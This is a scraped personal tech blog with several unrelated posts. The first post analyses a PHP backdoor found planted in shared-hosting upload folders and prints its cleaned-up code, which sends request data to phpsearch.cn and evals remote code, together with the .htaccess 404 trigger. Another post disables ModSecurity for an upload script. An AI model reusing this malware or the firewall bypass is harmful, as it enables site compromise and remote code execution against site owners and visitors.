Upload Folder Invasions and Security

I was doing a routine backup job for a client’s website hosted on Exabytes the other day and noticed something funny. There were supposed to be image, pdf, and video files in the upload folders but there were also .htaccess and PHP files in the main upload folder and each of the subfolders.

The first thing that crossed my mind was that my code was not secure enough – it’s difficult to handle Flash upload security so I used some most basic techniques to prevent illegal uploads. However I decided to venture into Internet Webhosting’s server (I also have an account there) and saw the same thing happening on a fellow blogger’s WordPress upload folder – which coincidentally is in the same server as my other account. I have so many “other” accounts I sometimes lost track.

Testing further I found that I am able to manipulate files located in other’s upload folder if the permission of 777 (drwxrwxrwx) is set. I was able to create new files, move existing files, and even worst delete them. Technically this is because the webserver process (apache for Apache 1.x and httpd for Apache 2.x) most usually runs as the user nobody or other common user account on the server. So it really does not matter who runs a PHP file from the browser, the server thinks the user always have the proper permission.

So in a normal shared hosting other users are actually able to copy your source code if you’re running a custom one (in contrast to WordPress which is publicly available).

This problem does not relate to other parts of the website or the database.

I am NOT going to post the codes that I use to check and test these claims, so it’s really up to you whether or not to trust me.

However the following code was in the foreign PHP files (they named using numbers – XXXXX.php), and they were in one line most probably to prevent people from understanding it. I cleaned it up to improve readability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
< ?php
error_reporting(0);
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
 
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cGhwc2VhcmNoLmNu");
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "51e1225f5f7bca58cb02a7cf6a96dddd") 
	$f = $_REQUEST["id"];
if((include(base64_decode("aHR0cDovL2FkczEu").$f.$z)));
else if($c = file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))
	eval($c);
else
{
	$cu = curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
	curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
	$o = curl_exec($cu);
	curl_close($cu);
	eval($o);
};
?>

Lines 3-12 collects data about the request.
Line 14 dumps all of the collected information to a variable $z
$f is the variable that holds the URL of the culprit: phpsearch.cn

print base64_decode('cGhwc2VhcmNoLmNu');

Lines 16-17 handles some queries (I think if the request comes from them).
Line 18 tries to include the remote file http://ads1.phpsearch.cn/?(collected_data)

print base64_decode('aHR0cDovL2FkczEu');

Line 19 tries to load the remote file http://7.phpsearch.cn/?(collected_data)

print base64_decode('aHR0cDovLzcu');

And the final attempt in lines 23-27 tries to use the CURL extension to load http://71.phpsearch.cn/?(collected_data)

print base64_decode('aHR0cDovLzcxLg==');

How is this possible? Well, they also uploaded .htaccess files that looks like this:

Options -MultiViews
ErrorDocument 404 //path/to/upload/folder/subfolder/XXXXXX.php

And yes, it only activates if a 404 (file not found) is encountered on the folder. But still, I don’t like the intrusion. Wouldn’t you?

I can’t really think of any workaround to the permission problem as users will always have to change the permission of upload folder to 777. Even changing the group ownership to the group used by the httpd process will not prevent access to other users.

However GoDaddy seems to have a good technique in overcoming this problem as I can’t access other users’ folders. It has been a while since I wanted to find out how they implemented this – I noticed it the first time I use their hosting since I didn’t have to change permissions for my upload folders.

PayPal in Bahasa Melayu

I recently received an email from PayPal announcing that they now support additional languages. One of them is my native tongue, Bahasa Melayu.

However when I clicked on the Malaysia flag it directs me to the same page as Bahasa Indonesia. Although many part of the Internet has already acknowledged and are well aware that these two languages are different, I am a tad surprised that PayPal is not one of them 🙂

[singlepic=3,420,800]

2.59MB/Sec Download

I had to download the Flex SDK for work today and when I saw the file size I thought I can take some time to get coffee and a smoking break but I was wrong. I am not making it a big deal but I guess home users in Malaysia has never experienced this before.

The 118MB file was downloaded in less than a minute!

Oh yes, the file is downloaded to a server in the HQ in Massachusetts.

How I wish I get that at home! I am wondering whether US homes also get the same kind of speed. My dear US readers could you please shed some light upon us?

Weird IP Mismatch on TMNET Network

Tonight’s Internet access was annoyingly slow so I thought of recycling my ADSL connection. Out of habit I opened up WhatIsMyIP.us and was presented with a weird IP.

The top text with black background is the actual IP my router was assigned with (60.52.127.200).

And then I recycled my ADSL connection. The new IP was 60.50.203.72. However when I opened the site above again it still shows me the same IP. There is something fishy about this.

I tried ProxyWay and here’s what I got:

And here’s from CheckIP:

The two sites that gave me the correct and matching IP are IPChicken and IP-adress:

What the hell is wrong? Since TMNET has the reputation of doing stupid things right now I am thinking that they are testing some kind of HTTP bypassing. This is because the other traffic that I tested was not affected (e.g. SSH and FTP) and I see my “real” IP fine.

Anyone else is experiencing this twilight-zone scenario?

What Happened to Marché Mövenpick

I went to have lunch at at The Curve on Saturday and I was a bit disappointed by the lack of staff and all the waiting we had to do. While I understand that the system is for you to order and wait they should not have asked people to come back in 5 minutes if we actually have to wait for 20.

I was ordering the 1/2 Roasted Chicken meal and the guy who is attending the stall is also the same guy who cooks the mixed vegetable at the next stall. And the funniest thing of all is while the menu said roasted chicken they are actually reheating it on the grill. Yes, on the grill. So the chicken gets charred and tasted like charcoal, and loses all its moisture. The vegetable is all dried up, and I think that the menu has been changed (many meals have been removed).

The roasted chicken in the same restaurant used to be moist, juicy and the gravy was superb. This time they provided BBQ sauce.

And using the grill also means that it takes a lot longer than the oven. I saw that the oven was switched off so I think this may be a step to cut some cost?

What’s wrong with the restaurant? Are they so affected by the economy that they decided to provide improper food, lousy service, and jeopardize the whole business?

I won’t be visiting this restaurant anytime soon unless anyone really wants to eat something from the menu (the mixed vege and the sauteed mushroom still tastes the same). I’ll just go to Kenny Rogers for roasted chicken.

Flash Uploader Error

I was using YUI Uploader for a personal project and it works very well on my development notebook and server. However when the code is live on the server the Flash uploader failed with this error message:

[IOErrorEvent type="ioError" bubbles=false cancelable=false eventPhase=2 text="Error #2038"]

After a while I realized that it must be something server-side because when I used WireShark to see the traffic the server returns Error 500. The traffic is not captured by Firebug because it is Flash traffic.

The culprit is ModSecurity, a third party module used by most hosting companies. ModSecurity is a web application firewall that can work either embedded into Apache or as a reverse proxy.

A quick fix to allow uploads is to include these in the .htaccess file. These handle different Apache and ModSecurity versions and since we include the IfModule directive if the module is unavailable no error will be thrown. This relieves the need to consider what version of Apache and ModSecurity is used on the server.

For this example the script that handles the upload is named upload.php.

# Apache 1.x and ModSecurity 1.x
<IfModule mod_security.c>
   <Files upload.php>
      SecFilterEngine Off
      SecFilterScanPOST Off
   </Files>
</IfModule>

# Apache 2.x and ModSecurity 1.x
<IfModule security_module>
   <Files upload.php>
      SecFilterEngine Off
      SecFilterScanPOST Off
   </Files>
</IfModule>

# Apache 2.x and ModSecurity 2.x
<IfModule security2_module>
   <Files upload.php>
      SecRuleEngine Off
      SecRequestBodyAccess Off
   </Files>
</IfModule>

That’s it! This fixes the Flash uploader problem.

By the way it might be useful to let you know that this issue was encountered on a server hosted under the Ebiz Linux package by Exabytes.

Help Find Ozzie the Golden Retriever

[UPDATE] Ozzie was actually taken by a neighbor’s friend who thought the dog was lost. Ozzie was scared of thunder and wandered around to a Hari Raya open house nearby where the house owner asked his Chinese friend to bring Ozzie home. Ozzie is now back with his rightful owner he loves. [END UPDATE]

If you hang out or live around Bandar Utama or TTDI and saw this guy please help call 012 335 2308. I haven’t heard the story how she lost Ozzie yet.

He is cream-colored, 4 years old (ask him if you meet him), about 3 feet tall and does not bark meaninglessly. He’s a lovely dog but I never met him because I am afraid of canines.

Here’s a flyer she gave to me if anyone would like to help distribute: Lost – Ozzie – Golden Retriever

New Maybank2u Sucks

Yesterday I was trying to pay my overdue house rental that I have forgotten to pay because of the Hari Raya holidays (sorry landlord!). When I load Maybank2u it was fine at a glance, and the new design looks super cool!

However when I tried to login and use the functions I was disappointed. Logging in takes ages, and the pages seems to time out a lot. With the nice design, a simple addition of an AJAX loading image makes the site looks like an AJAX application. It’s most certainly not – Firebug helped me confirm. And for whatever reason the AJAX loading image is displayed on top of text. Go figure.

While navigating through the site I received errors multiple time, at at one time while loading it logged me out because the session has expired.

Yes, I am complaining because I am a regular user of Maybank2u. Please do something?

[UPDATE] Maybank2u has disabled the new interface. Now when you click on the login button you’ll be brought to its old interface. Thanks for that.

Reverie: A DSLR Masterpiece in HD

Yes, I am busy again that’s why I have been so quiet.

As usual Rizal pointed me to an interesting post that leads me to Reverie. It caught my attention so much I had to write this short post.

I was astonished by the quality of the movie, especially since it is taken using a 21 megapixel DSLR. Yes, it’s too expensive and no, I will not buy it and no, I didn’t develop a passion to make films after seeing this movie.

By the way, it’s not the movie that matters for Reverie, it’s the quality of the picture.

Setting DD-WRT Cron Job Through Command Line

I managed to get OpenVPN running on my DD-WRT v2.2 router, with the instructions from the wiki.

However after a few reboot tests I saw that OpenVPN died immediately after it started, with no traceable reasons.

Sep 12 00:51:10 192.168.xx.xx openvpn[3940]: TUN/TAP device tap0 opened
. . .
Sep 12 00:51:11 192.168.xx.xx openvpn[3949]: Initialization Sequence Completed

I suspect it has got to do with the fact that my ppp0 (ADSL) connection takes some time to activate.

So I thought of doing a check using cron – if OpenVPN is not running, run it.

The command I wrote was:

But the bad news is that when I enter this command in the cron box inside the Web Administration GUI the single quotes get translated into the HTML entity, and this becomes permanent in the nvram and also in /tmp/cron.d/cron_jobs. Damn.

So I thought of using the command line. Here’s what I did in the SSH shell:

At this point if you don’t want to reboot your router, enter these into /tmp/cron.d/cron_jobs and restart cron using stopservice cron && startservice cron.

And I’m all set!

I hope the IT team from my company is not reading this, but I also have a vpnc daemon running on the router to connect to my company network and I do the same check as above 😉

OpenVZ On Ubuntu Or Debian

As a SysAdmin I have been using OpenVZ since it was introduced, and trust me it has not always been this easy. I used to take care of 20 physical servers with yearly replacement of about 5 machines. Since some of the servers are running different Linux distributions and different hardware it was decided that to standardize all servers, OpenVZ was to be deployed so that all of them are running Debian stable.

OpenVZ is container-based virtualization for Linux and it only separates the different guest servers in terms of resources. This differ from other implementations such as VMware, Xen, and VirtualBox where these involve hardware virtualization. Because of this, the guests called VE or VPS have the same kernel version and can only run Linux. What distribution as guest? The choice is yours.

Undoubtedly most of you have heard of Virtuozzo – it’s running OpenVZ. As a matter of fact the company that produces Virtuozzo is the one funding and supporting the development of OpenVZ.

The fact that it can run any distribution you like means that you can study and learn how to maintain different distributions. Even the littlest difference can confuse a rookie SysAdmin, for example:

  • Debian apache’s init script is distributed as /etc/init.d/apache and /etc/init.d/apache2 while in CentOS it’s called /etc/init.d/httpd
  • In Debian to change init scripts and runlevels we use update-rc.d while in CentOS we use chkconfig even though they both do the same exact thing

There are many other differences in terms of implementation that I rather not discuss here.

Click on Continue Reading if you’re interested to read more…
Continue reading OpenVZ On Ubuntu Or Debian

DD-WRT v24 Upgrade on My WRT54G v2.2 Wireless Router

It has been some time that I wanted to upgrade the firmware, but I rarely have the motivation to do so. I ensured myself that I would not brick the router, and reminded myself on how DD-WRT always produces new and exciting features. So today, I did it. It took around 20 minutes to upgrade and re-configure my router. I have a significant number of customization done especially the QoS and port forwarding and they take a while to be reconfigured. Unfortunately I can’t import saved settings from the previous version of the firmware.

Since I have a WRT54G v2.2 (antique), I followed the advice from the Internet – upgrade to mini version and then to standard version.

One of my favorite addition is the ability to see how many connection each client is using:

Another feature that I think is cool is the ability to plot a real-time bandwidth graph:

The WAN graph is maxed out because I am downloading Ubuntu from OSCC mirror as mentioned in the previous post.

There are tons other improvements included that I can’t include here, try it out yourself!

Enabling connection to modem to check stats

Since the WRT54G is not a modem, I do sometimes have the need to check my ADSL stats and have to connect to the modem directly. My provider sometimes do cheat by capping my connection lower than what I have paid for.

To enable this I simply add an interface alias to the vlan1 interface on the router. I am using a Linksys AM-300 modem-router as a modem only and it has the default IP of 192.168.1.1. If you didn’t customize your WRT54G then it’s difficult because 192.168.1.1 is also the default IP. In my case, my LAN is in a different subnet (my WRT54G has a customized IP). All I had to do in the web interface is to go to Administration > Commands, enter ifconfig vlan1:1 192.168.1.2 netmask 255.255.255.0 broadcast 192.168.1.255 to the box and click on “Save Startup”. The router will reboot because it is a startup script!

After the router finished rebooting, if I enter the 192.168.1.1 in my browser address bar I will get my AM-300 administration page. Now I can be sure I am not cheated and still get my 2Mbps 😉

OSCC: The Silent Mirror

All hyped out about sharing Linux knowledge with friends especially dirn, I wanted to download Ubuntu for my own use mainly because I am a strict Debian user. Browsing the mirror list in Ubuntu official site I am disappointed by the speed of most of the mirrors I selected, and the fastest I can get is the ETA of 4 hours.

Then a bell rang in my head and I went to look for OSCC. This mirror is the closest mirror I can get using my ADSL. The problem with this mirror is that it sometimes have old files especially for the Debian and CentOS repositories. So it always become my last choice to look for files. I don’t blame them as the rsync process must’ve been really slow to download files from the 1st level mirrors.

The speed is very satisfactory because the mirror is located in Cyberjaya, Malaysia as you can see below:

I have been seeking this mirror every time I feel disappointed with speed of overseas mirror as it mirrors some other projects too.

Historically in 2002 I almost became an employer of OSCC after scoring good marks in a Linux test done at DRB-Hicom, and went to an interview at OSCC. I failed to get the position because when asked “How do you change init scripts and levels in Red Hat?”, I answered “I use ln to make symbolic links from /etc/init.d to /etc/rc.{0-6}”. They said, “No, you should use chkconfig“. My answer was not incorrect being a self-taught Linux user but by-the-book users will feel otherwise. I was annoyed but I don’t hold any grudge against them. I do, however feel lucky I didn’t get the job.

SMART Tunnel Woes

I just watched a segment from TV3’s Buletin Utama about complaints regarding the closure of the SMART tunnel. It amuses me with the fact that people seem to be blaming it on the tunnel management alone when the reason is closure is known – to redirect water.

For the ignorant or the unrelated readers from overseas, the tunnel operates in 3 modes:

  1. Normal – no water flowing. Traffic as usual.
  2. Storm – water flowing in the lower section of the tunnel, allowing traffic in the upper section of the tunnel.
  3. Heavy storm – water flowing throughout the tunnel, no traffic may pass.

I understand the disappointment that came from motorists, but to be fair I think the blame should go to the engineers who planned this project. Perhaps the volume of water that may pass in the tunnel was not correctly projected? From the news what I understand is that since opened in May 2007 the tunnel have been closed to traffic for 44 times now, causing huge traffic jam in the city. Of course, this shouldn’t be the case if the volume of water is not significant and water only pass in the lower section.

The CCTV footage that was shown clearly showed that water level was indeed more than half the tunnel’s height. I am not sure whether anyone can call this project a failure. It may not be perfect but it is indeed preventing flash floods in the city. So we have to choose either one, which is quite fair for me although the original plan was to solve both problems – flood and traffic flow.

Then again, it’s a RM1+ billion project and there is no doubt taxpayer’s money are involved. You be the judge.